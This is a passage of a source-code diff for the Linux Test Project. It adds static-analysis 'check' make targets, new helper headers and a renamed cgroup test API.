 CPPFLAGS			+= -I$(top_srcdir)/include -I$(top_builddir)/include -I$(top_srcdir)/include/old/
@@ -89,6 +90,18 @@
 endif # END $(filter-out install,$(MAKECMDGOALS)),$(MAKECMDGOALS)
 endif
 
+CHECK_TARGETS			?= $(addprefix check-,$(notdir $(patsubst %.c,%,$(sort $(wildcard $(abs_srcdir)/*.c)))))
+CHECK_TARGETS			:= $(filter-out $(addprefix check-, $(FILTER_OUT_MAKE_TARGETS)), $(CHECK_TARGETS))
+CHECK_HEADER_TARGETS		?= $(addprefix check-,$(notdir $(sort $(wildcard $(abs_srcdir)/*.h))))
+CHECK				?= $(abs_top_srcdir)/tools/sparse/sparse-ltp
+CHECK_NOFLAGS			?= $(abs_top_srcdir)/scripts/checkpatch.pl -f --no-tree --terse --no-summary --ignore CONST_STRUCT,VOLATILE,SPLIT_STRING
+SHELL_CHECK			?= $(abs_top_srcdir)/scripts/checkbashisms.pl --force --extra
+SHELL_CHECK_TARGETS		?= $(addprefix check-,$(notdir $(sort $(wildcard $(abs_srcdir)/*.sh))))
+
+ifeq ($(CHECK),$(abs_top_srcdir)/tools/sparse/sparse-ltp)
+CHECK_DEPS			+= $(CHECK)
+endif
+
 include $(top_srcdir)/include/mk/rules.mk
 
 endif
diff --git a/include/mk/features.mk.in b/include/mk/features.mk.in
index ecb15a0..802ee0b 100644
--- a/include/mk/features.mk.in
+++ b/include/mk/features.mk.in
@@ -52,3 +52,6 @@
 else
 WITH_REALTIME_TESTSUITE		:= @WITH_REALTIME_TESTSUITE@
 endif
+
+# Enable testcases/kernel/kvm compile and install?
+WITH_KVM_TESTSUITE		:= @WITH_KVM_TESTSUITE@
diff --git a/include/mk/generic_leaf_target.inc b/include/mk/generic_leaf_target.inc
index 64953f8..565a282 100644
--- a/include/mk/generic_leaf_target.inc
+++ b/include/mk/generic_leaf_target.inc
@@ -92,7 +92,7 @@
 # INSTALL_DIR			:= $(libdir)
 #
 
-.PHONY: all clean install
+.PHONY: all clean install check
 
 ifneq ($(strip $(MAKE_TARGETS)),)
 $(MAKE_TARGETS) += $(HOST_MAKE_TARGETS)
@@ -109,4 +109,7 @@
 
 install: $(INSTALL_FILES)
 
+$(CHECK_TARGETS): | $(CHECK_DEPS)
+check: $(CHECK_HEADER_TARGETS) $(CHECK_TARGETS) $(SHELL_CHECK_TARGETS)
+
 # vim: syntax=make
diff --git a/include/mk/generic_trunk_target.inc b/include/mk/generic_trunk_target.inc
index fc59f94..82aece7 100644
--- a/include/mk/generic_trunk_target.inc
+++ b/include/mk/generic_trunk_target.inc
@@ -48,7 +48,7 @@
 
 include $(top_srcdir)/include/mk/functions.mk
 
-RECURSIVE_TARGETS		?= all install
+RECURSIVE_TARGETS		?= all install check
 
 $(eval $(get_make_dirs))
 
@@ -68,6 +68,9 @@
 
 trunk-install: $(INSTALL_FILES)
 
+$(CHECK_TARGETS): | $(CHECK_DEPS)
+trunk-check: $(CHECK_TARGETS) $(SHELL_CHECK_TARGETS)
+
 # Avoid creating duplicate .PHONY references to all, clean, and install. IIRC,
 # I've seen some indeterministic behavior when one does this in the past with
 # GNU Make...
@@ -108,4 +111,6 @@
 endif
 endif
 
+check: trunk-check
+
 # vim: syntax=make
diff --git a/include/mk/lib.mk b/include/mk/lib.mk
index f9b6c0a..3bf63bf 100644
--- a/include/mk/lib.mk
+++ b/include/mk/lib.mk
@@ -26,6 +26,7 @@
 # Makefile to include for libraries.
 
 include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/include/mk/sparse.mk
 
 INSTALL_DIR	:= $(libdir)
 
@@ -57,6 +58,8 @@
 
 LIBOBJS		:= $(LIBSRCS:.c=.o)
 
+CHECK_TARGETS	:= $(addprefix check-,$(notdir $(LIBSRCS:.c=)))
+
 $(LIB): $(notdir $(LIBOBJS))
 	@if [ -z "$(strip $^)" ] ; then \
 		echo "Cowardly refusing to create empty archive"; \
diff --git a/include/mk/module.mk b/include/mk/module.mk
index 6c8814b..3bb7350 100644
--- a/include/mk/module.mk
+++ b/include/mk/module.mk
@@ -47,6 +47,8 @@
 
 CLEAN_TARGETS += .dep_modules *.mod built-in.a
 
+CHECK_TARGETS := $(filter-out %.ko, $(CHECK_TARGETS))
+
 MODULE_SOURCES := $(patsubst %.ko,%.c,$(filter %.ko, $(MAKE_TARGETS)))
 
 # Ignoring the exit status of commands is done to be forward compatible with
diff --git a/include/mk/rules.mk b/include/mk/rules.mk
index c8f4bbb..517863c 100644
--- a/include/mk/rules.mk
+++ b/include/mk/rules.mk
@@ -1,5 +1,13 @@
 target_rel_dir := $(if $(cwd_rel_from_top),$(cwd_rel_from_top)/,)
 
+%.o: %.S
+ifdef VERBOSE
+	$(AS) $(ASFLAGS) -c -o $@ $<
+else
+	@$(AS) $(ASFLAGS) -c -o $@ $<
+	@echo AS $(target_rel_dir)$@
+endif
+
 %.o: %.c
 ifdef VERBOSE
 	$(CC) $(CPPFLAGS) $(CFLAGS) -c -o $@ $<
@@ -37,3 +45,32 @@
 	@$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) $^ $(LTPLDLIBS) $(LDLIBS) -o $@
 	@echo CC $(target_rel_dir)$@
 endif
+
+.PHONY: $(CHECK_TARGETS)
+$(CHECK_TARGETS): check-%: %.c
+ifdef VERBOSE
+	-$(CHECK_NOFLAGS) $<
+	-$(CHECK) $(CHECK_FLAGS) $(CPPFLAGS) $(CFLAGS) $<
+else
+	@echo CHECK $(target_rel_dir)$<
+	@-$(CHECK_NOFLAGS) $<
+	@-$(CHECK) $(CHECK_FLAGS) $(CPPFLAGS) $(CFLAGS) $<
+endif
+
+.PHONY: $(CHECK_HEADER_TARGETS)
+$(CHECK_HEADER_TARGETS): check-%.h: %.h
+ifdef VERBOSE
+	-$(CHECK_NOFLAGS) $<
+else
+	@echo CHECK $(target_rel_dir)$<
+	@-$(CHECK_NOFLAGS) $<
+endif
+
+.PHONY: $(SHELL_CHECK_TARGETS)
+$(SHELL_CHECK_TARGETS): check-%.sh: %.sh
+ifdef VERBOSE
+	-$(SHELL_CHECK) $<
+else
+	@echo CHECK $(target_rel_dir)$<
+	@-$(SHELL_CHECK) $<
+endif
diff --git a/include/mk/sparse.mk b/include/mk/sparse.mk
new file mode 100644
index 0000000..a869283
--- /dev/null
+++ b/include/mk/sparse.mk
@@ -0,0 +1,9 @@
+# Rules to make sparse tool(s) for inclusion in lib and testcases Makefiles
+
+SPARSE_DIR:= $(abs_top_builddir)/tools/sparse
+
+$(SPARSE_DIR)/sparse-ltp: $(SPARSE_DIR)
+	$(MAKE) -C "$^" all
+
+$(SPARSE_DIR): %:
+	mkdir -p "$@"
diff --git a/include/mk/testcases.mk b/include/mk/testcases.mk
index 1c81773..444020f 100644
--- a/include/mk/testcases.mk
+++ b/include/mk/testcases.mk
@@ -22,6 +22,7 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 include $(top_srcdir)/include/mk/functions.mk
+include $(top_srcdir)/include/mk/sparse.mk
 
 APICMDS_DIR	:= $(abs_top_builddir)/tools/apicmds
 
diff --git a/include/old/ltp_priv.h b/include/old/ltp_priv.h
index 0552457..0a0ef70 100644
--- a/include/old/ltp_priv.h
+++ b/include/old/ltp_priv.h
@@ -23,18 +23,7 @@
 #define __LTP_PRIV_H__
 
 #include <stdarg.h>
-
-/*
- * This is the default temporary directory used by tst_tmpdir().
- *
- * This is used when TMPDIR env variable is not set.
- */
-#define TEMPDIR	"/tmp"
-
-/*
- * Default filesystem to be used for tests.
- */
-#define DEFAULT_FS_TYPE "ext2"
+#include "tst_defaults.h"
 
 /* environment variables for controlling  tst_res verbosity */
 #define TOUT_VERBOSE_S  "VERBOSE"	/* All test cases reported */
diff --git a/include/old/safe_macros.h b/include/old/safe_macros.h
index e778d30..fb1d7a1 100644
--- a/include/old/safe_macros.h
+++ b/include/old/safe_macros.h
@@ -157,7 +157,7 @@
 
 /*
  * following functions are inline because the behaviour may depend on
- * -D_FILE_OFFSET_BITS=64 -DOFF_T=__off64_t compile flags
+ * -D_FILE_OFFSET_BITS=64 compile flag
  */
 
 static inline void *safe_mmap(const char *file, const int lineno,
diff --git a/include/old/test.h b/include/old/test.h
index 2ae7dba..834e92d 100644
--- a/include/old/test.h
+++ b/include/old/test.h
@@ -193,7 +193,8 @@
  * @dev: path to a device
  * @fs_type: filesystem type
  * @fs_opts: NULL or NULL terminated array of mkfs options
- * @extra_opt: extra mkfs option which is passed after the device name
+ * @extra_opts: NULL or NULL terminated array of extra mkfs options which are
+ * passed after the device name.
  */
 #define tst_mkfs(cleanup, dev, fs_type, fs_opts, extra_opts) \
 	tst_mkfs_(__FILE__, __LINE__, cleanup, dev, fs_type, \
diff --git a/include/safe_file_ops_fn.h b/include/safe_file_ops_fn.h
index 6d68096..e8ed853 100644
--- a/include/safe_file_ops_fn.h
+++ b/include/safe_file_ops_fn.h
@@ -62,6 +62,10 @@
                       const char *path, const char *fmt, ...)
                       __attribute__ ((format (printf, 5, 6)));
 
+void safe_try_file_printf(const char *file, const int lineno,
+	void (*cleanup_fn)(void), const char *path, const char *fmt, ...)
+	__attribute__ ((format (printf, 5, 6)));
+
 /*
  * Safe function to copy files, no more system("cp ...") please.
  */
diff --git a/include/tst_af_alg.h b/include/tst_af_alg.h
index fd2ff06..86df18e 100644
--- a/include/tst_af_alg.h
+++ b/include/tst_af_alg.h
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright 2019 Google LLC
+ * Copyright (c) Linux Test Project, 2021
  */
 /**
  * @file tst_af_alg.h
@@ -60,8 +61,19 @@
  * @param algtype The type of algorithm, such as "hash" or "skcipher"
  * @param algname The name of the algorithm, such as "sha256" or "xts(aes)"
  *
- * Return true if the algorithm is available, or false if unavailable.
- * If another error occurs, tst_brk() is called with TBROK.
+ * Return 0 if the algorithm is available, or errno if unavailable.
+ */
+int tst_try_alg(const char *algtype, const char *algname);
+
+/**
+ * Check for the availability of an algorithm.
+ *
+ * @param algtype The type of algorithm, such as "hash" or "skcipher"
+ * @param algname The name of the algorithm, such as "sha256" or "xts(aes)"
+ *
+ * Return true if the algorithm is available, or false if unavailable
+ * and call tst_res() with TCONF. If another error occurs, tst_brk() is called
+ * with TBROK unless algorithm is disabled due FIPS mode (errno ELIBBAD).
  */
 bool tst_have_alg(const char *algtype, const char *algname);
 
diff --git a/include/tst_arch.h b/include/tst_arch.h
new file mode 100644
index 0000000..4a9473c
--- /dev/null
+++ b/include/tst_arch.h
@@ -0,0 +1,39 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later
+ * Copyright (c) 2021 Li Wang <liwang@redhat.com>
+ */
+
+#ifndef TST_ARCH_H__
+#define TST_ARCH_H__
+
+enum tst_arch_type {
+	TST_UNKNOWN,
+	TST_X86,
+	TST_X86_64,
+	TST_IA64,
+	TST_PPC,
+	TST_PPC64,
+	TST_S390,
+	TST_S390X,
+	TST_ARM,
+	TST_AARCH64,
+	TST_SPARC,
+};
+
+/*
+ * This tst_arch is to save the system architecture for
+ * using in the whole testcase.
+ */
+extern const struct tst_arch {
+        char name[16];
+        enum tst_arch_type type;
+} tst_arch;
+
+/*
+ * Check if test platform is in the given arch list. If yes return 1,
+ * otherwise return 0.
+ *
+ * @archlist A NULL terminated array of architectures to support.
+ */
+int tst_is_on_arch(const char *const *archlist);
+
+#endif /* TST_ARCH_H__ */
diff --git a/include/tst_bitmap.h b/include/tst_bitmap.h
new file mode 100644
index 0000000..d294e3e
--- /dev/null
+++ b/include/tst_bitmap.h
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ * Author: Xie Ziyao <ziyaoxie@outlook.com>
+ */
+
+#ifndef TST_BITMAP_H__
+#define TST_BITMAP_H__
+
+/*
+ * Check whether the n-th bit of val is set
+ * @return 0: the n-th bit of val is 0, 1: the n-th bit of val is 1
+ */
+#define TST_IS_BIT_SET(val, n) (((val) & (1<<(n))) >> (n))
+
+#endif /* TST_BITMAP_H__ */
diff --git a/include/tst_cgroup.h b/include/tst_cgroup.h
index d4c93db..2826dda 100644
--- a/include/tst_cgroup.h
+++ b/include/tst_cgroup.h
@@ -5,7 +5,7 @@
  * Copyright (c) 2020-2021 SUSE LLC <rpalethorpe@suse.com>
  */
 /*\
- * [DESCRIPTION]
+ * [Description]
  *
  * The LTP CGroups API tries to present a consistent interface to the
  * many possible CGroup configurations a system could have.
@@ -84,108 +84,171 @@
 #include <sys/types.h>
 
 /* CGroups Kernel API version */
-enum tst_cgroup_ver {
-	TST_CGROUP_V1 = 1,
-	TST_CGROUP_V2 = 2,
+enum tst_cg_ver {
+	TST_CG_V1 = 1,
+	TST_CG_V2 = 2,
 };
 
+/* This value is greater than ROOTS_MAX in tst_cgroup.c. */
+#define TST_CG_ROOTS_MAX 32
+
 /* Used to specify CGroup hierarchy configuration options, allowing a
  * test to request a particular CGroup structure.
  */
-struct tst_cgroup_opts {
-	/* Only try to mount V1 CGroup controllers. This will not
-	 * prevent V2 from being used if it is already mounted, it
-	 * only indicates that we should mount V1 controllers if
-	 * nothing is present. By default we try to mount V2 first. */
-	int only_mount_v1:1;
+struct tst_cg_opts {
+	/* Call tst_brk with TCONF if the controller is not on this
+	 * version. Defautls to zero to accept any version.
+	 */
+	enum tst_cg_ver needs_ver;
+	/* Pass in a specific pid to create and identify the test
+	 * directory as opposed to the default pid of the calling process.
+	 */
+	int test_pid;
 };
 
 /* A Control Group in LTP's aggregated hierarchy */
-struct tst_cgroup_group;
+struct tst_cg_group;
+
+/* Populated with a reference to this tests's CGroup */
+extern const struct tst_cg_group *const tst_cg;
+extern const struct tst_cg_group *const tst_cg_drain;
 
 /* Search the system for mounted cgroups and available
- * controllers. Called automatically by tst_cgroup_require.
+ * controllers. Called automatically by tst_cg_require.
  */
-void tst_cgroup_scan(void);
-/* Print the config detected by tst_cgroup_scan */
-void tst_cgroup_print_config(void);
+void tst_cg_scan(void);
+/* Print the config detected by tst_cg_scan and print the internal
+ * state associated with each controller. Output can be passed to
+ * tst_cg_load_config to configure the internal state to that of the
+ * config between program invocations.
+ */
+void tst_cg_print_config(void);
+
+/* Load the config printed out by tst_cg_print_config and configure the internal
+ * libary state to match the config. Used to allow tst_cg_cleanup to properly
+ * cleanup mounts and directories created by tst_cg_require between program
+ * invocations.
+ */
+void tst_cg_load_config(const char *const config);
 
 /* Ensure the specified controller is available in the test's default
- * CGroup, mounting/enabling it if necessary */
-void tst_cgroup_require(const char *const ctrl_name,
-			const struct tst_cgroup_opts *const options)
-			__attribute__ ((nonnull (1)));
-
-/* Tear down any CGroups created by calls to tst_cgroup_require */
-void tst_cgroup_cleanup(void);
-
-/* Get the default CGroup for the test. It allocates memory (in a
- * guarded buffer) so should always be called from setup
+ * CGroup, mounting/enabling it if necessary. Usually this is not
+ * necessary use tst_test.needs_cgroup_ctrls instead.
  */
-const struct tst_cgroup_group *tst_cgroup_get_test_group(void)
-	__attribute__ ((warn_unused_result));
-/* Get the shared drain group. Also should be called from setup */
-const struct tst_cgroup_group *tst_cgroup_get_drain_group(void)
-	__attribute__ ((warn_unused_result));
+void tst_cg_require(const char *const ctrl_name,
+			const struct tst_cg_opts *const options)
+			__attribute__ ((nonnull));
+
+/* Tear down any CGroups created by calls to tst_cg_require */
+void tst_cg_cleanup(void);
+
+/* Call this in setup after you call tst_cg_require and want to
+ * initialize tst_cg and tst_cg_drain. See tst_cg_require.
+ */
+void tst_cg_init(void);
 
 /* Create a descendant CGroup */
-struct tst_cgroup_group *
-tst_cgroup_group_mk(const struct tst_cgroup_group *const parent,
-		    const char *const group_name)
-		    __attribute__ ((nonnull, warn_unused_result));
+struct tst_cg_group *
+tst_cg_group_mk(const struct tst_cg_group *const parent,
+		    const char *const group_name_fmt, ...)
+	    __attribute__ ((nonnull, warn_unused_result, format (printf, 2, 3)));
+
+const char *
+tst_cg_group_name(const struct tst_cg_group *const cg)
+		      __attribute__ ((nonnull, warn_unused_result));
+
 /* Remove a descendant CGroup */
-struct tst_cgroup_group *
-tst_cgroup_group_rm(struct tst_cgroup_group *const cg)
+struct tst_cg_group *
+tst_cg_group_rm(struct tst_cg_group *const cg)
 		    __attribute__ ((nonnull, warn_unused_result));
 
-#define TST_CGROUP_VER(cg, ctrl_name) \
-	tst_cgroup_ver(__FILE__, __LINE__, (cg), (ctrl_name))
+#define TST_CG_VER(cg, ctrl_name) \
+	tst_cg_ver(__FILE__, __LINE__, (cg), (ctrl_name))
 
-enum tst_cgroup_ver tst_cgroup_ver(const char *const file, const int lineno,
-				   const struct tst_cgroup_group *const cg,
+enum tst_cg_ver tst_cg_ver(const char *const file, const int lineno,
+				   const struct tst_cg_group *const cg,
 				   const char *const ctrl_name)
 				   __attribute__ ((nonnull, warn_unused_result));
 
-#define SAFE_CGROUP_HAS(cg, file_name) \
-	safe_cgroup_has(__FILE__, __LINE__, (cg), (file_name))
+#define TST_CG_VER_IS_V1(cg, ctrl_name) \
+	(TST_CG_VER((cg), (ctrl_name)) == TST_CG_V1)
 
-int safe_cgroup_has(const char *const file, const int lineno,
-		    const struct tst_cgroup_group *const cg,
+#define SAFE_CG_HAS(cg, file_name) \
+	safe_cg_has(__FILE__, __LINE__, (cg), (file_name))
+
+int safe_cg_has(const char *const file, const int lineno,
+		    const struct tst_cg_group *const cg,
 		    const char *const file_name)
 		    __attribute__ ((nonnull, warn_unused_result));
 
-#define SAFE_CGROUP_READ(cg, file_name, out, len)			\
-	safe_cgroup_read(__FILE__, __LINE__,				\
+#define SAFE_CG_READ(cg, file_name, out, len)			\
+	safe_cg_read(__FILE__, __LINE__,				\
 			 (cg), (file_name), (out), (len))
 
-ssize_t safe_cgroup_read(const char *const file, const int lineno,
-			 const struct tst_cgroup_group *const cg,
+ssize_t safe_cg_read(const char *const file, const int lineno,
+			 const struct tst_cg_group *const cg,
 			 const char *const file_name,
 			 char *const out, const size_t len)
 			 __attribute__ ((nonnull));
 
-#define SAFE_CGROUP_PRINTF(cg, file_name, fmt, ...)			\
-	safe_cgroup_printf(__FILE__, __LINE__,				\
+#define SAFE_CG_PRINTF(cg, file_name, fmt, ...)			\
+	safe_cg_printf(__FILE__, __LINE__,				\
 			   (cg), (file_name), (fmt), __VA_ARGS__)
 
-#define SAFE_CGROUP_PRINT(cg, file_name, str)				\
-	safe_cgroup_printf(__FILE__, __LINE__, (cg), (file_name), "%s", (str))
+#define SAFE_CG_PRINT(cg, file_name, str)				\
+	safe_cg_printf(__FILE__, __LINE__, (cg), (file_name), "%s", (str))
 
-void safe_cgroup_printf(const char *const file, const int lineno,
-			const struct tst_cgroup_group *const cg,
+void safe_cg_printf(const char *const file, const int lineno,
+			const struct tst_cg_group *const cg,
 			const char *const file_name,
 			const char *const fmt, ...)
 			__attribute__ ((format (printf, 5, 6), nonnull));
 
-#define SAFE_CGROUP_SCANF(cg, file_name, fmt, ...)			\
-	safe_cgroup_scanf(__FILE__, __LINE__,				\
+#define SAFE_CG_OPEN(cg, file_name, flags, fds)			\
+	safe_cg_open(__FILE__, __LINE__, (cg), (file_name), (flags), (fds))
+
+int safe_cg_open(const char *const file, const int lineno,
+			const struct tst_cg_group *const cg,
+			const char *const file_name,
+			int flags, int *fds)
+			__attribute__ ((nonnull));
+
+#define SAFE_CG_FCHOWN(cg, file_name, owner, group)		\
+	safe_cg_fchown(__FILE__, __LINE__, (cg), (file_name), (owner), (group))
+
+void safe_cg_fchown(const char *const file, const int lineno,
+			const struct tst_cg_group *const cg,
+			const char *const file_name,
+			uid_t owner, gid_t group)
+			__attribute__ ((nonnull));
+
+#define SAFE_CG_SCANF(cg, file_name, fmt, ...)			\
+	safe_cg_scanf(__FILE__, __LINE__,				\
 			  (cg), (file_name), (fmt), __VA_ARGS__)
 
-void safe_cgroup_scanf(const char *file, const int lineno,
-		       const struct tst_cgroup_group *const cg,
+void safe_cg_scanf(const char *file, const int lineno,
+		       const struct tst_cg_group *const cg,
 		       const char *const file_name,
-		       const char *fmt, ...)
+		       const char *const fmt, ...)
 		       __attribute__ ((format (scanf, 5, 6), nonnull));
 
+#define SAFE_CG_LINES_SCANF(cg, file_name, fmt, ...)		\
+	safe_cg_lines_scanf(__FILE__, __LINE__,			\
+				(cg), (file_name), (fmt), __VA_ARGS__)
+
+void safe_cg_lines_scanf(const char *const file, const int lineno,
+			     const struct tst_cg_group *const cg,
+			     const char *const file_name,
+			     const char *const fmt, ...)
+			__attribute__ ((format (scanf, 5, 6), nonnull));
+
+#define SAFE_CG_OCCURSIN(cg, file_name, needle)		\
+	safe_cg_occursin(__FILE__, __LINE__,		\
+			     (cg), (file_name), (needle))
+
+int safe_cg_occursin(const char *file, const int lineno,
+			 const struct tst_cg_group *const cg,
+			 const char *const file_name,
+			 const char *const needle);
 
 #endif /* TST_CGROUP_H */
diff --git a/include/tst_checkpoint.h b/include/tst_checkpoint.h
index 5c8067d..1b6911d 100644
--- a/include/tst_checkpoint.h
+++ b/include/tst_checkpoint.h
@@ -8,20 +8,21 @@
 #include "tst_checkpoint_fn.h"
 
 #define TST_CHECKPOINT_WAIT(id) \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0)
 
 #define TST_CHECKPOINT_WAIT2(id, msec_timeout) \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, msec_timeout);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, msec_timeout)
 
 #define TST_CHECKPOINT_WAKE(id) \
-        tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, 1);
+        tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, 1)
 
 #define TST_CHECKPOINT_WAKE2(id, nr_wake) \
-        tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, nr_wake);
+        tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, nr_wake)
 
-#define TST_CHECKPOINT_WAKE_AND_WAIT(id) \
+#define TST_CHECKPOINT_WAKE_AND_WAIT(id) do { \
         tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, 1); \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0); \
+} while (0)
 
 extern const char *tst_ipc_path;
 
diff --git a/include/tst_checkpoint_fn.h b/include/tst_checkpoint_fn.h
index 57db905..3a010d6 100644
--- a/include/tst_checkpoint_fn.h
+++ b/include/tst_checkpoint_fn.h
@@ -16,7 +16,7 @@
 /*
  * Waits for wakeup.
  *
- * @id: Checkpoint id, possitive number
+ * @id: Checkpoint id, positive number
  * @msec_timeout: Timeout in milliseconds, 0 == no timeout
  */
 int tst_checkpoint_wait(unsigned int id, unsigned int msec_timeout);
@@ -24,7 +24,7 @@
 /*
  * Wakes up sleeping process(es)/thread(s).
  *
- * @id: Checkpoint id, possitive number
+ * @id: Checkpoint id, positive number
  * @nr_wake: Number of processes/threads to wake up
  * @msec_timeout: Timeout in milliseconds, 0 == no timeout
  */
diff --git a/include/tst_clocks.h b/include/tst_clocks.h
index 80030c6..06d2d03 100644
--- a/include/tst_clocks.h
+++ b/include/tst_clocks.h
@@ -20,4 +20,15 @@
  */
 const char *tst_clock_name(clockid_t clk_id);
 
+/*
+ * Returns current system time for file/IPC operations, which may slightly lag
+ * behind time() return values.
+ *
+ * The reason for this is that the time() syscall reads the nanosecond timer at
+ * the time of the call and adds it to the kernel current time, because of that
+ * accumulation may cause it jump one second ahead compared to the kernel time
+ * stamp that is used for IPC and filesystems.
+ */
+time_t tst_get_fs_timestamp(void);
+
 #endif /* TST_CLOCKS__ */
diff --git a/include/tst_common.h b/include/tst_common.h
index fd7a900..520cca7 100644
--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -83,4 +83,8 @@
 #define TST_RES_SUPPORTS_TCONF_TFAIL_TINFO_TPASS_TWARN(condition) \
 	TST_BUILD_BUG_ON(condition)
 
+/* stringification */
+#define TST_TO_STR_(s) #s
+#define TST_TO_STR(s) TST_TO_STR_(s)
+
 #endif /* TST_COMMON_H__ */
diff --git a/include/tst_cpu.h b/include/tst_cpu.h
index b3a449b..0724975 100644
--- a/include/tst_cpu.h
+++ b/include/tst_cpu.h
@@ -16,6 +16,7 @@
 #define VIRT_IBMZ	3	/* ibm system z */
 #define VIRT_IBMZ_LPAR	4	/* ibm system z lpar */
 #define VIRT_IBMZ_ZVM	5	/* ibm system z zvm */
+#define VIRT_HYPERV	6	/* Microsoft Hyper-V */
 #define VIRT_OTHER	0xffff	/* unrecognized hypervisor */
 
 int tst_is_virt(int virt_type);
diff --git a/include/tst_defaults.h b/include/tst_defaults.h
new file mode 100644
index 0000000..083427b
--- /dev/null
+++ b/include/tst_defaults.h
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2013 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+#ifndef TST_DEFAULTS_H_
+#define TST_DEFAULTS_H_
+
+/*
+ * This is the default temporary directory used by tst_tmpdir().
+ *
+ * This is used when TMPDIR env variable is not set.
+ */
+#define TEMPDIR	"/tmp"
+
+/*
+ * Default filesystem to be used for tests.
+ */
+#define DEFAULT_FS_TYPE "ext2"
+
+#endif /* TST_DEFAULTS_H_ */
diff --git a/include/tst_device.h b/include/tst_device.h
index 1d1246e..977427f 100644
--- a/include/tst_device.h
+++ b/include/tst_device.h
@@ -7,10 +7,13 @@
 #define TST_DEVICE_H__
 
 #include <unistd.h>
+#include <stdint.h>
+#include <sys/stat.h>
 
 struct tst_device {
 	const char *dev;
 	const char *fs_type;
+	uint64_t size;
 };
 
 /*
@@ -58,6 +61,11 @@
 int tst_attach_device(const char *dev_path, const char *file_path);
 
 /*
+ * Get size (in MB) of the given device
+ */
+uint64_t tst_get_device_size(const char *dev_path);
+
+/*
  * Detaches a file from a loop device fd.
  *
  * @dev_path Path to the loop device e.g. /dev/loop0
@@ -105,4 +113,16 @@
  */
 void tst_find_backing_dev(const char *path, char *dev);
 
-#endif	/* TST_DEVICE_H__ */
+/*
+ * Stat the device mounted on a given path.
+ */
+void tst_stat_mount_dev(const char *const mnt_path, struct stat *const st);
+
+/*
+ * Returns the size of a physical device block size for the specific path
+ * @path   Path to find the block size
+ * @return Size of the block size
+ */
+int tst_dev_block_size(const char *path);
+
+#endif /* TST_DEVICE_H__ */
diff --git a/include/tst_fs.h b/include/tst_fs.h
index 36d4b46..cc6d9b5 100644
--- a/include/tst_fs.h
+++ b/include/tst_fs.h
@@ -1,5 +1,6 @@
 /* SPDX-License-Identifier: GPL-2.0-or-later
- * Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2015-2017 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) Linux Test Project, 2017-2022
  */
 
 #ifndef TST_FS_H__
@@ -30,6 +31,8 @@
 #define TST_EXOFS_MAGIC    0x5DF5
 #define TST_OVERLAYFS_MAGIC 0x794c7630
 #define TST_FUSE_MAGIC     0x65735546
+#define TST_VFAT_MAGIC     0x4d44 /* AKA MSDOS */
+#define TST_EXFAT_MAGIC    0x2011BAB0UL
 
 enum {
 	TST_BYTES = 1,
@@ -49,8 +52,8 @@
  * @mult: mult should be TST_KB, TST_MB or TST_GB
  * the required free space is calculated by @size * @mult
  */
-int tst_fs_has_free_(void (*cleanup)(void), const char *path,
-                     unsigned int size, unsigned int mult);
+int tst_fs_has_free_(void (*cleanup)(void), const char *path, unsigned int size,
+		     unsigned int mult);
 
 /*
  * Returns filesystem magick for a given path.
@@ -90,7 +93,7 @@
  * The code uses link(2) to create hard links to a single file until it gets
  * EMLINK or creates 65535 links.
  *
- * If limit is hit maximal number of hardlinks is returned and the the @dir is
+ * If limit is hit maximal number of hardlinks is returned and the @dir is
  * filled with hardlinks in format "testfile%i" where i belongs to [0, limit)
  * interval.
  *
@@ -174,7 +177,7 @@
 };
 
 /*
- * Returns if filesystem is suppored and if driver is in kernel or FUSE.
+ * Returns if filesystem is supported and if driver is in kernel or FUSE.
  *
  * @fs_type A filesystem name to check the support for.
  */
@@ -184,33 +187,18 @@
  * Returns NULL-terminated array of kernel-supported filesystems.
  *
  * @skiplist A NULL terminated array of filesystems to skip.
-*/
+ */
 const char **tst_get_supported_fs_types(const char *const *skiplist);
 
 /*
  * Returns 1 if filesystem is in skiplist 0 otherwise.
  *
  * @fs_type A filesystem type to lookup.
- * @skiplist A NULL terminated array of fileystemsytems to skip.
+ * @skiplist A NULL terminated array of filesystems to skip.
  */
 int tst_fs_in_skiplist(const char *fs_type, const char *const *skiplist);
 
 /*
- * Check whether device supports FS quotas. Negative return value means that
- * quotas appear to be broken.
- */
-int tst_check_quota_support(const char *device, int format, char *quotafile);
-
-/*
- * Check for quota support and terminate the test with appropriate exit status
- * if quotas are not supported or broken.
- */
-#define tst_require_quota_support(dev, fmt, qfile) \
-	tst_require_quota_support_(__FILE__, __LINE__, (dev), (fmt), (qfile))
-void tst_require_quota_support_(const char *file, const int lineno,
-	const char *device, int format, char *quotafile);
-
-/*
  * Creates and writes to files on given path until write fails with ENOSPC
  */
 void tst_fill_fs(const char *path, int verbose);
@@ -227,7 +215,7 @@
 }
 
 static inline int tst_fs_has_free(const char *path, unsigned int size,
-                                  unsigned int mult)
+				  unsigned int mult)
 {
 	return tst_fs_has_free_(NULL, path, size, mult);
 }
@@ -253,7 +241,7 @@
 }
 
 static inline int tst_fs_has_free(void (*cleanup)(void), const char *path,
-                                  unsigned int size, unsigned int mult)
+				  unsigned int size, unsigned int mult)
 {
